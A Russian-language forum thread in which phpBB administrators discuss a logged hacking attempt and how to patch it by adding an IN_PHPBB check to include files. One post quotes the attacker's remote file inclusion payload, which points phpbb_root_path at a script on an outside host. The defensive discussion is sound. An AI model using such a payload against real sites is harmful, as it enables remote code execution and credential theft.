Взломали форум

[Gosudar]

Да кстати, я попытки взлома пишу в лог файл
вот один пыталяся :
?phpbb_root_path=http://godsteam.org/echo3?
сволочь пасс хотел.
godsteam.org настучать что ли на них?

[Rayden]

Я думаю, если есть возмоность/желание - обязательно надо. Такие вещи не должны безнаказанно проходить.

[Gosudar]

deleted

[Rayden]

Портянку убери, запрещено правилами.

[Siava]

Rayden
Какая ж это портянка?

[Rayden]

Больше 25 строк.

[Xpert]

Есть аналогичные дыры которые тут лечили, применительно к KB Mod, который тоже является частью портала.

[Jovani]

По идее, достаточно, сделать проверку как в других аналогичных файлах, то есть, в начале файла, после копирайтов, добавить:

Код: Выделить всё

if ( !defined('IN_PHPBB') )
{
	die("Hacking attempt");
}

Кстати, от греха подальше, аналогично сделать с другими файлами в этой директории pafiledb/includes

[Neonaft]

А вот собственно вопрос, в каких файлах нужно писать подобный код?
Неужели прям во всех или есть предпочтения?

[tematika]

А чем это опасно? На одном форуме вылазит Hacking attempt! На другом ничего.

[Jovani]

А вот собственно вопрос, в каких файлах нужно писать подобный код?
Неужели прям во всех или есть предпочтения?

В тех, которые не должны исполняться отдельно от phpbb, то есть в "подключаемых".